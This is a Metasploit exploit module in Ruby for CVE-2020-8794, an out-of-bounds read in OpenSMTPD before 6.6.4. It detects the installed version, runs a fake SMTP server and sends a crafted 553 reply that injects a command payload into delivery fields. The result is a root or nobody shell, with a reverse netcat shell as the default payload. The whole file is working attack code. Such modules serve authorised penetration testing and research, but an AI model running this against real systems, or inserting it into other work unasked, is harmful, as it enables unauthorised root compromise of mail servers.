## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local # smtpd(8) may crash on a malformed message Rank = AverageRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::TcpServer include Msf::Exploit::Remote::Expect def initialize(info = {}) super( update_info( info, 'Name' => 'OpenSMTPD OOB Read Local Privilege Escalation', 'Description' => %q{ This module exploits an out-of-bounds read of an attacker-controlled string in OpenSMTPD's MTA implementation to execute a command as the root or nobody user, depending on the kind of grammar OpenSMTPD uses. }, 'Author' => [ 'Qualys', # Discovery and PoC 'wvu' # Module ], 'References' => [ ['CVE', '2020-8794'], ['URL', 'https://seclists.org/oss-sec/2020/q1/96'] ], 'DisclosureDate' => '2020-02-24', 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => true, # NOTE: Only when exploiting new grammar # Patched in 6.6.4: https://www.opensmtpd.org/security.html # New grammar introduced in 6.4.0: https://github.com/openbsd/src/commit/e396a728fd79383b972631720cddc8e987806546 'Targets' => [ [ 'OpenSMTPD < 6.6.4 (automatic grammar selection)', { patched_version: Rex::Version.new('6.6.4'), new_grammar_version: Rex::Version.new('6.4.0') } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'SRVPORT' => 25, 'PAYLOAD' => 'cmd/unix/reverse_netcat', 'WfsDelay' => 60 # May take a little while for mail to process }, 'Notes' => { 'Stability' => [CRASH_SERVICE_DOWN], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_advanced_options([ OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5]) ]) # HACK: We need to run check in order to determine a grammar to use options.remove_option('AutoCheck') end def srvhost_addr Rex::Socket.source_address(session.session_host) end def rcpt_to "#{rand_text_alpha_lower(8..42)}@[#{srvhost_addr}]" end def check smtpd_help = cmd_exec('smtpd -h') if smtpd_help.empty? return CheckCode::Unknown('smtpd(8) help could not be displayed.') end version = smtpd_help.scan(/^version: OpenSMTPD ([\d.p]+)$/).flatten.first unless version return CheckCode::Unknown('OpenSMTPD version could not be found.') end version = Rex::Version.new(version) if version < target[:patched_version] if version >= target[:new_grammar_version] vprint_status("OpenSMTPD #{version} is using new grammar") @grammar = :new else vprint_status("OpenSMTPD #{version} is using old grammar") @grammar = :old end return CheckCode::Appears( "OpenSMTPD #{version} appears vulnerable to CVE-2020-8794." ) end CheckCode::Safe("OpenSMTPD #{version} is NOT vulnerable to CVE-2020-8794.") end def exploit start_service sendmail = "/usr/sbin/sendmail '#{rcpt_to}' < /dev/null && echo true" print_status("Executing local sendmail(8) command: #{sendmail}") if cmd_exec(sendmail) != 'true' fail_with(Failure::Unknown, 'Could not send mail. Is OpenSMTPD running?') end end def on_client_connect(client) print_status("Client #{client.peerhost}:#{client.peerport} connected") # Brilliant work, Qualys! case @grammar when :new print_status('Exploiting new OpenSMTPD grammar for a root shell') yeet = <<~EOF 553- 553 dispatcher: local_mail type: mda mda-user: root mda-exec: #{payload.encoded}; exit 0\x00 EOF when :old print_status('Exploiting old OpenSMTPD grammar for a nobody shell') yeet = <<~EOF 553- 553 type: mda mda-method: mda mda-usertable: mda-user: nobody mda-buffer: #{payload.encoded}; exit 0\x00 EOF else fail_with(Failure::BadConfig, 'Could not determine OpenSMTPD grammar') end sploit = { '220' => /EHLO /, '250' => /MAIL FROM:<[^>]/, yeet => nil } print_status('Faking SMTP server and sending exploit') sploit.each do |line, pattern| send_expect( line, pattern, sock: client, newline: "\r\n", timeout: datastore['ExpectTimeout'] ) end rescue Timeout::Error => e fail_with(Failure::TimeoutExpired, e.message) ensure print_status("Disconnecting client #{client.peerhost}:#{client.peerport}") client.close end def on_client_close(client) print_status("Client #{client.peerhost}:#{client.peerport} disconnected") end end